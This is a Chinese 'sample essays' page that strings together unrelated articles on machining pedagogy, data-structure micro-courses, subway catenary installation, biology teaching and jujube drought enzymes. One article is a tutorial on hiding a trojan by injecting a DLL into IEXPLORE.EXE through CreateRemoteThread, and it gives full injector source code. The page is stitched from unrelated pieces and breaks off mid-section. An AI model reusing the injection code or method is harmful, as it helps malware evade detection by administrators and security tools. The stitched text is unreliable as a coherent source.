嫁接技術教程范文

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一、本門課程教學現狀

這門課程雖然比較主要， 但是現今中職學生普遍存在的問題是基礎比較薄弱，缺乏必要的數學及物理相關知識， 甚至有的學生完全沒有基礎知識。 學習能力較差，缺乏必要的自學能力。 而這門課程文字類的知識較多，雖然有部分的圖示和例子，但是對于沒有任何機械類相關實踐知識的中職生來講，學習起來具有相當的難度。 對于這些學生要想在日后的本專業學習工作過程中取得一定的成績， 學好本門課程這樣的基礎知識又是非常有必要的。 所以,如何教好這門課程， 如何讓學生在學習過程中產生學習興趣， 就變成了一個亟待解決的問題。

二、 采用多媒體教學提升學生的感性認識

興趣是是最好的老師， 培養學生的學習興趣是讓學生學好這類 比較枯燥的課程的關鍵。 隨著中職教學改革的深入，信息化教學這一概念越來越普及。 這種教學方式相對于傳統的教學模式在提高學生的學習興趣， 增加學生的感性認識等方面有著很大的優勢。 在信息化教學中大量的引入了教學課件 (PPT)、 電子互動白板等手段， 讓學生在抽象的課程中增加更多的對現實實踐的直觀認識， 對激發學生的學習興趣有很大的幫助。比如，《機械加工技術》 課程中車床結構部分，書中只有一個圖示，用簡單的線條勾勒出機床的形狀， 用引線標出各部分的名稱， 之后用大段的文字解釋各個部件的具體功用。 學生學起來不僅很枯燥，而且對車床各部分的動作很難理解。 引入了課件之后， 可以用真實的圖片和具體的車床操作視頻來講解，這時學生的精力非常集中，而且連一些后進生都表現出了較為強烈的學習興趣; 在講解各種金屬切削加工方法時，我引入了一段德國德瑪吉數控加工中心加工樣件的廣告片， 片中包含了多種的加工方法， 不僅讓學生了解了各種加工方法的實際加工過程， 還讓學生了解到了本行業尖端技術的發展狀況， 進一步激發了學生學習本專業課程興趣， 增強本專業工作的信心。

三、走進車間是學習《機械加工技術》課程的必然和重要途徑

如前面所說，《機械加工技術》 這門課程是一門實踐性較強的課程，因此，改革傳統的教學模式，加強實踐教學，讓學生直觀地認知學習內容， 對于學生學習興趣的培養、實際動手能力的培養、以及記憶的加強都是十分重要何必要的。

比如在軸類零件的加工方法這一章節， 書本中的知識都是最基本的知識和方法，教師在課堂講授的過程中，教師講解得再詳細也無法讓學生真正學到如何加工一根軸。 因此，把學生帶進車間，由教師結合實際零件的加工， 一步一步講解軸類零件的加工，不僅可以增加學生的感性認識，還可以提前讓學生感受工廠的氛圍， 學會在車間中的一些安全注意事項， 學到很多書本上學不到的知識。

四、比較學習法在實踐教學中的應用

前一段時間我參加了由大連理工大學組織的暑期培訓。 培訓期間，教育部職業技術教育中心研究所研究員姜大源教授的一門 《現代職業教育體系構建基本問題與課程開發》課程讓我受益良多。 其中提到的工作過程系統化學習情境設計比較學習法對中職實踐教學有很大的意義和幫助。比較學習法的原則是： 比較必須三個以上、比較必須同一個范疇、比較中重復的是步驟而非內容。 基于以上方法的思考，我將《機械加工技術》課程中軸類零件車削部分的知識總結如下：比較必須三個以上：簡單軸類零件的車削、帶有方溝槽的軸類零件的車削、帶有方溝槽和螺紋的軸類零件的車削、 帶有方溝槽、圓弧溝槽、螺紋的軸類零件的車削等。

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關鍵詞：微課程；移動終端；自主學習；數據結構；系統框架

中圖分類號：G642 文獻標識碼：A

1 引言（Introduction）

隨著便攜式移動終端的發展，“碎片化”時間的利用率越來越高，人們進入了“微時代”。“微課程”成了時代的產物。所謂“微課”是指按照新課程標準及教學實踐要求，以教學視頻為主要載體，反映教師在課堂教學過程中針對某個知識點或教學環節而開展教與學活動的各種教學資源的有機組合[1]?，F如今各高校大力推動微課程，組織各種微課程比賽，調動教師的積極性，“微課”對于教師來說已不是一個陌生的名詞。然而，目前的微課程只是針對一門課程當中的一個組成部分，僅是單獨講解某個知識點，沒有形成一門完整的課，還沒有完全發揮微課程的優勢，并沒有應用于真正的教學當中。

《數據結構》課程是計算機課程體系中的專業基礎課程[2]，作為程序設計的基礎，數據結構課程不僅成為高校碩士研究生入取的必考科目，還是各企業招聘員工入職筆試中青睞的學科。如何讓學生在課堂教學中對課程有更深刻的理解，并在復習考研和準備找工作中進行更好的自主學習，成為數據結構課程教學的研究重點，本文在分析數據結構教學現狀的基礎上通過對數據結構知識點的分析，構建合理的數據結構微課程框架，并將其應用于教學中，使得學生能更好的應用“微課程”進行學習。

2 數據結構課程的現狀分析（Current situation

analysis of data structure）

數據結構課程是一門比較抽象的課程，而且學生本身知識儲備不足[2]，所以僅靠課堂上的講解，不能使學生達到很好的消化吸收的效果。目前，很多高校也開發了網絡教學平臺，積極倡導教師和學生通過網絡平臺實現在線探討交流，通過對網絡教學平臺的建設，如將大綱日歷、教案、教學課件，教學視頻上傳到教學平臺，使學生增加課下自主學習的意識，同時，老師在上課的時候也會給學生提供一些教學視頻的網站，如清華教育在線等，然而，雖然教學平臺的建設很完整，教師提供的教學視頻也很不錯，學生卻很少好好利用網絡教學平臺或教師提供的網絡視頻進行自主學習。主要原因有三點：

（1）教師的課堂教學主要以集中講授為主，并沒有引導學生利用網絡教學平臺的資源進行自主學習，學生把網絡教學平臺當成了一個簡單的提交作業、下載課件的平臺。

（2）教學平臺的內容過于繁多，視頻基本上為課堂講授的視頻，即使有學生想課下自主學習，在看到45分鐘甚至90分鐘的教學視頻也會打退堂鼓。

（3）教師提供的教學視頻，如清華教育在線雖是名校老師講解，但對于一般高校的學生來說講解內容過深，沒有針對性，很多學生覺得聽不懂，打消了自主學習的積極性。

通過“微課程”的概念，專家學者認為“微課程”就是針對一個具體的知識點在短時間內（一般為10分鐘左右）做簡單明確的講解，這種講解不是泛泛的介紹，而是通過精心的設計，最終完成容量小，內容精的視頻制作[3]?？梢哉f，“微課程”的出現為我們解決數據結構自主學習難的狀況提供了很好的解決方案。如何做到容量小，內容精成了“微課程”視頻制作的關鍵，也是本文的研究重點。

3 基于微課程的數據結構模塊化設計與實現

（Modular design and implementation of data

structure based on micro-lecture）

本文依據清華大學出版社出版的嚴蔚編的數據結構教材[4]進行知識點的劃分，構建知識點的模塊化，并將其應用在教學中。

3.1 數據結構相關知識點的分析與研究

數據結構課程研究的是數據和數據之間的關系，其基本分為四大類：集合、線性結構、樹形結構和圖形結構。在數據結構課程中，主要講解的是后三種結構的邏輯結構、物理結構，以及相關算法的實現。在課程的最后講解了利用已學過的數據結構解決基本的查找和排序的問題。

上述這些知識點中都具有一定的順序性、關聯性，但又相互獨立。如果只是把課程講解的內容分解成10分鐘之內的小視頻，除了時間上看著短了以外，沒有改變課堂講解的實質，沒有做到真正意義上的微課程。在多年教學經驗的指導下，本文要研究的是什么樣的知識點適合做成微課程，讓學生課下自主學習，課上共同討論，培養學生自主學習的能力，并且在考試復習時通過溫習微課程的視頻可以更快的掌握主要題型的解決方法，節約復習時間。

微課程知識點的設定原則為5―20分鐘可以被清晰地講解，且盡量不涉及程序性的內容。棧和隊列可以說是操作受限的線性表，其抽象數據類型和現實生活中的很多例子都有相似性，可以將其作為微課程的一個知識點，讓學生自主學習。在樹形結構中，如何在連續的存儲空間中把非線性的東西表示出來可以在短時間內很經典的講解出來，其鏈表的表示所以也非常適合做成微課程。二叉樹的結構和樹非常像，對二叉樹的遍歷，以及樹和森林的轉化都是比較獨立的知識點，其方法不涉及難理解的程序，將這些放入微課程中。赫夫曼樹是二叉樹的重要應用，其構造方法可以放入微課程的知識點框架中。在圖形結構中圖的鄰接矩陣表示法和鄰接表表示法都可以作為微課程的一部分，深度優先遍歷和廣度優先遍歷的算法雖然不易理解，但其求解方法的思想卻可以通過微課程表達出來。最小生成樹，關鍵路徑，單源最短路徑都是圖里的應用，僅把問題的解決方法放入微課程中是比較好的選擇。在查找中的折半查找和二叉排序樹的構造都是獨立的知識點，可以很好的用于微課程的制作。在排序中，會選擇相對復雜一些的快速排序和堆排序，僅僅介紹排序的思想。微課程的知識點設定如圖1所示。

3.2 翻轉課堂輔助數據結構微課程的實現

學生在剛接觸數據結構時會覺得特別的抽象，其基本概念和相關的術語并不適合讓學生自主學習，線性表是學生接觸的第一種線性結構，其邏輯結構，順序存儲和鏈式存儲，以及插入刪除等操作都非常的重要，但多數都是枯燥的程序，想讓學生在短時間內掌握其精髓并不是一件容易的事，如果這個部分讓學生自主學習很可能會打消學生的積極性，所以前幾節課程并不適合做翻轉課程。在學生已經對線性表有所掌握的情況下，可以將棧和隊列的邏輯結構微課程要求學生自己學習，在課堂上進行討論，在討論的基礎上講解實現通過自主學習了解的各種操作的程序。樹形結構是學生接觸的第一種非線性結構，所以其邏輯結構需要在課堂上進行講解，雖然樹形結構的存儲結構已經安排在微課程中，但由于是學生第一次接觸，所以本微課程部分并不作為翻轉課堂的一部分，學生在復習時可以通過微課程進行復習，以更好的掌握知識點。而二叉樹的相關微課程可以要求學生自行學習，在課堂上根據學生學習的結果共同研究算法的實現。圖形結構和樹形結構都屬于非線性結構，所以二者具有很多相似的地方，可以由學生自主學習課堂討論，通過討論的情況分析學生的掌握情況，因為微課程的內容簡單，重要的算法實現還需要在課堂上詳細講解。經過前面的學習，插入和排序的內容無論是應用方面還是程序實現方面都由學生自主完成，通過討論和測試考察學生的掌握情況。

經過和微課程相結合的翻轉課程的設計，使學生習慣通過微課程進行學習，掌握自主學習的能力。

4 結論（Conclusion）

微課程的系統框架對微課程的制作起到了指揮棒的作用，在總體框架下進行各個微課程的制作，在制作過程中絕不僅僅是錄制簡單的視頻，雖然僅僅是10分鐘左右，但工作量絕不亞于一節課的準備，不僅要對微課程設計方案，制作電子課件，還要精心準備習題，并配合易理解的答案。只有一個完整系統的微課程，再加上與課堂的相輔相成，才能使得學生在課下自主學習時更有針對性，學生學的更明白，課上討論也會更豐富，形成良性循環，真正實現了教師學生共同授課，共同討論的多樣化教學體系。

參考文獻（References）

[1] 梁樂明，曹俏俏，張寶輝.微課程設計模式研究――基于國內

外微課程的對比分析[J].開放教育研究，2013，19（1）：65-73.

[2] 董麗薇.“數據結構”課程教學方法的改進[J].沈陽師范大學

學報：自然科學版，2012，30（2）：307-309.

[3] 劉名卓，祝智庭.微課程的設計分析與模型構建[J].中國電化

教育，2013，（12）：127-131.

[4] 嚴蔚敏，吳偉民.數據結構（C語言版）[M].北京：清華大學出版

社，2012.

作者簡介：

董麗薇（1981-），女，博士生，講師.研究領域：供應鏈管理.

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關鍵詞：剛性架空接觸網“∏”型安裝

中圖分類號：C913.32 文獻標識碼：A 文章編號：

一 前言

剛性架空接觸網于上世紀九十年代末在廣州地鐵二號線采用后，被廣泛應用于廣州、上海、南京、深圳、沈陽、重慶、成都、西安等城市軌道交通地下線，成為國內城市軌道交通架空接觸網的主要供電方式之一。

剛性架空接觸網有接觸軌式、匯流排式。匯流排型式有T型、∏型等。 “∏”型剛性架空接觸網是將接觸線夾裝在“∏”型匯流排上，依靠匯流排本身的剛性支撐固定接觸線在正確位置，該接觸網型式結構簡單、占用空間小、流截面大，無張力、安全性高、運營維護量小，弓網無彈性、設計及安裝精度要求高。

根據多年“∏”型剛性架空接觸網的工程經驗，針對工程中容易出現偏差和對接觸網運行狀態生產影響的關鍵部位（如錨段關節、膨脹接頭、剛柔過渡、線岔、分段絕緣器等處），本文對這些關鍵部位安裝的技術要點進行了探討，以期在錨段關節、膨脹接頭、剛柔過渡、線岔、分段絕緣器等關鍵點正確設計、安裝，使剛性架空接觸網運行穩定良好。

二 錨段關節、膨脹接頭

連續敷設的剛性架空接觸網為保證機械和電氣性能，需設置機械分段和電氣分段。機械分段根據運行速度采用錨段關節或膨脹接頭，100km/h以下采用錨段關節，100km/h及以上采用貫通式膨脹接頭；電氣分段采用絕緣錨段關節方式。

1 錨段關節

在錨段關節處，兩支接觸線在關節中間懸掛點處等高，轉換懸掛點處非工作支不得低于工作支，非工作支宜高出1mm～3mm，使受電弓能以較高速度平滑通過錨段關節，如圖1。同時錨段關節避免布置在線路變坡點處和列車出站加速區段。

圖1錨段關節布置示意圖

該關節兩支間距為200mm，可以在滿足放線小車通過的情況下，縮小至160mm，以改善關節處弓網質量，這時需要對目前采用的電連接型式進行改進，減小空間占用，以利于縮小關節間距。

也可采用在沿列車行進方向，將關節兩支均置于受電弓一側（如圖2），效果要好于兩側布置，但反向行車速度將受到限制。

圖2錨段關節設置于受電弓中心同一側

2 膨脹接頭

膨脹接頭用于對錨段內匯流排溫度變化所產生的縱向伸縮予以補償，且保持接觸網機械和電氣上的連續。國內采用了如下兩種膨脹接頭型式，膨脹接頭的補償長度分別為500mm、1000mm。

圖3膨脹接頭（補償量左圖為500mm，右圖為1000mm）

膨脹接頭安裝在盡可能直的軌道上，縱向中軸線位于受電弓中心線上。膨脹接頭安裝時，應將膨脹接頭布置在受電弓中心位置，兩端四處懸掛點呈直線布置且等高，使膨脹接頭不受外力彎曲，布置如圖4。

圖4 膨脹接頭布置示意圖

三 剛柔過渡

剛性及柔性架空接觸網間采用貫通式或關節式剛柔過渡。

貫通式剛柔過渡采用剛柔過渡元件，實現剛柔性接觸網間彈性差的漸變。剛柔過渡應安裝在線路的直線區段，避免剛柔過渡承受水平彎曲力。剛柔過渡元件安裝處，兩端的剛性和柔性懸掛點的接觸線應等高，拉出值布置應呈一條直線，保證剛柔過渡元件處接觸線平滑過渡。

關節式剛柔過渡在采用雙接觸線、弓網接觸靜態接觸壓力為120N的條件下，剛性架空接觸網的接觸線宜比相鄰柔性架空接觸網的接觸線抬高30mm～50mm，保證受電弓雙向平滑過渡。

四 線岔

在普速鐵路柔性架空接觸網中道岔支柱應標準定位，以保證線岔的準確設置，保持良好的運行狀態。但在剛性架空接觸網中道岔布置無嚴格意義上的標準定位要求。

為使受電弓無論從哪個方向均能平滑通過線岔，特別是正線高速通過線岔時，側線不應對受電弓高速通過產生干擾，線岔處接觸網采用圖5布置，正線、側線匯流排均靠攏布置（即布置靠近對方的一側），在正線雙向通過時，正線、側線接觸線均位于受電弓一側。

圖5 單開道岔處匯流排布置示意圖

道岔處，在受電弓同時接觸兩支接觸線范圍內兩支接觸線應等高，使受電弓平滑通過線岔區。

五 分段絕緣器

分段絕緣器用于將不同供電分區之間電氣斷開，滿足不同分區的停電檢修需要，并保證正常運行時受電弓在分段絕緣器處平滑通過。

在分段絕緣器安裝調試時，分段絕緣器本體不僅要嚴格按廠家產品要求安裝，尚應注意：分段絕緣器不宜安裝在曲線段，安裝段匯流排必須與軌面平行，且分段絕緣器兩端的匯流排處于同一直線上，使分段絕緣器不受外力扭擰，否則難以調平。應將分段絕緣器安裝位置定測在直線段，分段絕緣器安裝前將分段絕緣器兩端四個懸掛點調至等高且與軌面平行，測定兩段匯流排應處于同一直線上。如圖6。

圖6 分段絕緣器處匯流排安裝狀態

六 結束語

剛性架空接觸網要取得良好的運行效果，必須要精確設計、精細施工，安裝精準。筆者發現在工程設計和安裝中對上述關鍵部位技術狀態的理解和應用存在一定的偏差，運行中經常會出現硬點、異常磨損等現象，通過分析和實踐，本文對這些部位的技術狀態進行了闡述，以期在錨段關節、膨脹接頭、剛柔過渡、線岔、分段絕緣器等關鍵點正確設計、安裝，接觸網取得穩定良好的運行狀態。

參考文獻

[1] 吳積欽.受電弓與接觸網系統[M].成都:西南交通大學出版社,2010

[2] [德] Kiessling,Puschmann,Schmieder.電氣化鐵道接觸網[M].中鐵電氣化局集團有限公司，譯.北京: 中國電力出版社,2003

[3] GB50157-2003 地鐵設計規范[S].北京:中國計劃出版社,2003

[4] 廣東興發鋁業有限公司.匯流排產品使用與維護手冊

[5] 法國加朗公司.剛性懸掛分段絕緣器安裝手冊

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【關鍵詞】高中生物;新課程理念;創新精神與能力

近幾年來有關創新精神和創新能力培養的問題引起了全社會尤其是教育界的廣泛關注，并成為當前基礎教育改革的一個熱點問題。課程標準指出，高中生物課程要讓學生初步學會生物科學探究的一般方法，具備較強的生物學基本操作技能、收集和處理信息的能力、觀察能力、實驗能力、思維能力和解決實際問題的能力。在教學實踐中如何來體現新課程理念呢？我認為可以從以下幾點著手。

1 以趣激疑，巧妙釋疑

我國歷代教育學家曾有過精辟的論述：“學起于思，思源于疑。”早在南宋時期，陸九淵就指出“為學患無疑”。強烈的釋疑欲望是學生積極思考的內在動力，由存疑到釋疑的過程，就是學生把新舊知識聯系起來進行深入思考、探究、綜合推理，運用已有的知識去獲得新知識的過程。這對增進學生的智力、激發學生的潛能、培養學生的創造力所起的作用，不是教師的分析、講解所能代替的。

在講述高中必修模塊2第3章第1節“T2噬菌體侵染大腸桿菌的實驗”的時候，就盡量地讓學生發現問題、提出問題。例如，僅蛋白質分子中含有硫，磷幾乎都存在于DNA分子中，目的是為后面學生發現問題做好鋪墊。然后，讓學生認真地去看這個實驗，并組織學生進行討論。學生提出了不少問題，例如，第一個實驗離心后沉淀物的反射性為什么是很低，而不是沒有？等等。學生通過自學能發現這么多問題，是因為他們進行了認真觀察、思考、分析。接下來就是如何引導學生釋疑了。一個高明的教師不但教學生學會，更重要的是教學生會學。這乃所謂“涉淺水者見蝦，其頗深者見魚鱉，其尤深者觀蛟龍”。使釋疑的過程既不脫離教學的雙方實際，又考慮到學生的接受與理解能力，長期如此以趣激疑，巧妙釋疑，學生的探究思維一定會得到強化和提高。

2 讓學生大膽作出假設，培養創新精神

拓展中學生的創造力主要不是要求每個學生都去搞發明創造，而是要求學生進行創造性學習，讓他們親身體會到科學家是如何困惑于問題、如何假設問題的“答案”、考慮從哪些途徑去解決問題，并以此漸漸地養成探究的態度、方法和思維品質的。

高中必修模塊2第6章第2節“基因工程及其應用”這節知識，為了讓學生透徹理解基因技術，我是這樣處理的：首先回顧上節課中的雜交育種、誘變育種以及一些傳統的育種方法，一般只能在同種生物中進行，有沒有什么方法能夠實現不同種生物之間的繁殖呢？有些學生能想出植物的嫁接。繼續引導學生：嫁接后的植物所得到的果實與接穗親本的性狀是完全一樣的，但如果我只想要某個物種的某個性狀，而不是全部的時候，又怎么辦呢？讓學生去討論，學生就會想出很多方法，比如基因雜交、基因剪接、基因轉移等等。他們想到這些，我的目的也就達到了，因為這意味著學生們已領悟到了科學家們當時為什么要創造基因工程這個技術和他們想解決什么問題。我覺得這樣處理，不僅能使學生更好地掌握知識，還能培養學生大膽假設和進行創新學習的科學精神。

3 恰當的類比可幫助理解

高中生物中許多知識點都是很抽象的，很多生理過程無法用肉眼來觀察，學生無法形成具體的直觀的經驗，所以很多抽象的知識需要轉化成形象的或與學生的生活貼近的知識來講，這就可以用類比幫助學生理解知識。

例如在初中階段，學生對反射弧的學習只是蜻蜓點水，一帶而過，而在高中必修模塊1第1章第1節中為了說明“生命活動離不開細胞”這個知識點的時候，其中實例3是“縮手反射的結構基礎”，很多學生對縮手反射的原理和過程本不太明白，如果我要他們進一步去理解縮手反射與細胞的關系，等于讓他們死記硬背。這時可以進行類比：進行文字處理時，可能要將文件通過掃描儀掃進電腦，然后通過電腦控制打印機，把文件打印出來。其中，掃描儀相當于反射弧中的感受器；掃描儀與電腦相連的線相當于傳入神經元；電腦的CPU相當于中間神經元；電腦與打印機之間相連的線相當于傳出神經元；打印機相當于效應器。這樣一類比，學生對縮手反射的原理有了一種豁然開朗的感覺，然后再進一步分析每個結構都是由細胞構成，都離不開細胞。這樣學生對知識的理解就容易得多了。

教師如何利用好生物課堂有效地培養學生的生物科學素養，培養具有創造力的新型人才，是我們生物教師面臨的挑戰。教學作為一門藝術，要不斷去完善它。

參考文獻

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摘要進程的隱藏一直是木馬程序設計者不斷探求的重要技術，本文采用遠程線程技術，通過動態鏈接庫方法，較好地解決了這一問題，通過遠程線程將木馬作為線程隱藏在其他進程中，從而達到隱藏的目的。

關鍵字進程線程木馬動態鏈接庫

木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序，由于木馬程序是運行在遠程主機上，所以進程的隱藏無疑是大家關心的焦點。

本文分析了WindowsNT/2000系統下進程隱藏的基本技術和方法，并著重討論運用線程嫁接技術如何實現WindowsNT/2000系統中進程的隱藏。

1基本原理

在WIN95/98中，只需要將進程注冊為系統服務就能夠從進程查看器中隱形，可是這一切在WindowsNT/2000中卻完全不同，無論木馬從端口、啟動文件上如何巧妙地隱藏自己，始終都不能躲過WindowsNT/2000的任務管理器，WindowsNT/2000的任務管理器均能輕松顯示出木馬進程，難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了？我們知道，在WINDOWS系統下，可執行文件主要是Exe和Com文件，這兩種文件在運行時都有一個共同點，會生成一個獨立的進程，尋找特定進程是我們發現木馬的方法之一，隨著入侵檢測軟件的不斷發展，關聯進程和SOCKET已經成為流行的技術，假設一個木馬在運行時被檢測軟件同時查出端口和進程，我們基本上認為這個木馬的隱藏已經完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統管理員來說都是可見的，要想做到木馬的進程隱藏，有兩個辦法，第一是讓系統管理員看不見你的進程；第二是不使用進程。本文以第二種方法為例加以討論，其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中，遠程進程則是合法的用戶程序，這樣用戶管理者看到的只是合法進程，而無法發現木馬線程的存在，從而達到隱藏的目的。

2實現方法

為了弄清實現方法，我們必須首先了解Windows系統的另一種"可執行文件"----DLL，DLL是DynamicLinkLibrary（動態鏈接庫）的縮寫，DLL文件是Windows的基礎，因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯，是由多個功能函數構成，它并不能獨立運行，一般都是由進程加載并調用的。因為DLL文件不能獨立運行，所以在進程列表中并不會出現DLL，假設我們編寫了一個木馬DLL，并且通過別的進程來運行它，那么無論是入侵檢測軟件還是進程列表中，都只會出現那個進程而并不會出現木馬DLL，如果那個進程是可信進程，（例如瀏覽器程序IEXPLORE.EXE，沒人會懷疑它是木馬吧？）那么我們編寫的DLL作為那個進程的一部分，也將成為被信賴的一員，也就達到了隱藏的目的。

運行DLL方法有多種，但其中最隱蔽的方法是采用動態嵌入技術，動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說，在Windows中的每個進程都有自己的私有內存空間，別的進程是不允許對這個私有空間進行操作的，但是實際上，我們仍然可以利用種種方法進入并操作進程的私有內存。動態嵌入技術有多種如：窗口Hook、掛接API、遠程線程等，這里介紹一下遠程線程技術，它只要有基本的進線程和動態鏈接庫的知識就可以很輕松地完成動態嵌入。

遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道，在進程中，可以通過CreateThread函數創建線程，被創建的新線程與主線程（就是進程啟動時被同時自動建立的那個線程）共享地址空間以及其他的資源。但是很少有人知道，通過CreateRemoteThread也同樣可以在另一個進程內創建新線程，被創建的遠程線程同樣可以共享遠程進程（是遠程進程）的地址空間，所以，實際上，我們通過一個遠程線程，進入了遠程進程的內存地址空間，也就擁有了那個遠程進程相當的權限。

3實施步驟

1）用Process32Next（）函數找到宿主進程,獲取宿主進程ID,并用

OpenProcess（）函數打開宿主進程。

2）用VirtualAllocEx（）函數分配遠程進程地址空間中的

內存。

3）用WriteProcessMemory（）函數將待隱藏的DLL的路徑名。

4）拷貝到步驟二已經分配的內存中。

5）用GetProcAddress（）函數獲取LoadlibraryA（）函數的實地址（在kernel32.dll中）。

6）用CreateRemoteThread（）函數在遠程進程中創建一個線程。

7）它調用正確的LoadlibraryA（）函數。

8）為它傳遞步驟二中分配的內存地址。

4具體實例

下面是在C++Builder4.0環境下編寫的運用遠程線程技術隱藏木馬的程序代碼：

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進程快照句柄

HANDLEhRemoteProcess;//遠程進程句柄

LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個進程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進程，以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

}

else

{

MessageBox(NULL,"取第一個進程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠程進程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設hide.dll是待隱藏的進程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態鏈接庫函數地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創建遠程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關閉遠程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關閉進程快照

}

該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

至此，遠程嵌入順利完成，為了試驗我們的hide.dll是不是已經正常地在遠程線程運行，我同樣在C++Builder4.0環境下編寫并編譯了下面的hide.dll作為測試：

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當前進程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208），該測試DLL彈出了1208字樣的確認框，同時使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經在IEXPLORE.EXE進程內正確地運行了。上面程序的頭文件由編譯器自動生成，未作改動，故略之。

5結束語

進程隱藏技術和方法有很多，而且這一技術發展也相當快，本文僅從一個側面加以討論，希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識，同時也為我們防范他人利用進程隱藏手段非法入侵提供參考，本文拋磚引玉，不當之處誠懇批評指正。

參考文獻

篇6

關鍵詞：保護酶；水分脅迫；駿棗

文章編號：1005-345X（2016）02-0001-03 中圖分類號：S665.1 文獻標識碼：A

駿棗是山西主栽的經濟林作物之一，在晉中一帶被廣泛栽培，已成為當地老百姓增收的果樹之一。山西地處黃土高坡，常遭遇干旱，對駿棗的產量造成很大的影響，因此，研究在水分脅迫下，駿棗體內SOD、POD、CAT 3種抗氧化保護酶活性的變化，探討駿棗對干旱的耐受力，可以為駿棗抗旱栽培技術提供一些理論依據，更好的服務于生產。

1 材料與方法

供試棗樹品種為大小一致健壯的駿棗嫁接苗，3年生。栽棗樹所用的瓦盆直徑40 cm，深50 cm。栽植之前稱量瓦盒的重量及盆中土壤的重量，瓦盆中土壤為沙壤士。

水分脅迫開始時間是2014年8月10日，在此之前，將花盆進行控水處理，分別為：對照（處理1，田間相對持水量的70%）、輕度缺水（處理2，田間相對持水量的55%）、中度缺水（處理3，田間相對持水量的40%）和重度缺水（處理4，田間相對持水量的30%）4個處理。方法是：每個處理不澆水，待土壤含水量自然消耗至設定標準后，每天稱重并補充消耗的水量，以控制含水量在設定范圍內。處理15 d后采集葉片，以后每隔15 d采1次，進行SOD、POD和CAT的活性測定，采用李和生方法測定SOD活性[1]，采用朱廣廉的方法測定POD活性[2]，采用張立軍的方法測定CAT活性[3]。各項指標的測定均重復3次。

2 結果與分析

2.1 水分脅迫下駿棗葉片內的SOD活性的變化趨勢

試驗證明（圖1），無論在哪種水分脅迫條件下，隨著時間的延長，棗樹葉片內SOD的活性均呈先升后降。干旱處理第1天時，對照、輕度水分脅迫、中度水分脅迫和重度水分脅迫的SOD的活性分別為280.23 u/g、280.31 u/g、360.54 u/g和233.28 u/g，其中以處理3的SOD活性最高，處理1和處理2的SOD活性值基本一致。水分脅迫第45天時，處理4的SOD值已達到最低，表明重度水分脅迫下SOD已經無法起到清除自由基的作用，樹體嚴重受損。

2.2 水分脅迫下駿棗葉片內的POD活性的變化趨勢

片內POD活性先升后降。各處理在水分脅迫下表現的數據曲線與SOD數據曲線基本相同，總體趨勢都是先升然后下降，但POD的活性在干旱處理后第15天先到達高峰，而SOD活性在處理后第30天才到達高峰，說明SOD對干旱忍受能力更強。在干旱處理第30天時，各處理POD活性值差別不太大，對照、輕度、中度、重度水分脅迫下駿棗葉片中的POD值分別是400.2 u/g、340.12 u/g、330.48 u/g、379.89 u/g。

2.3 水分脅迫下駿棗葉片內的CAT活性的變化趨勢

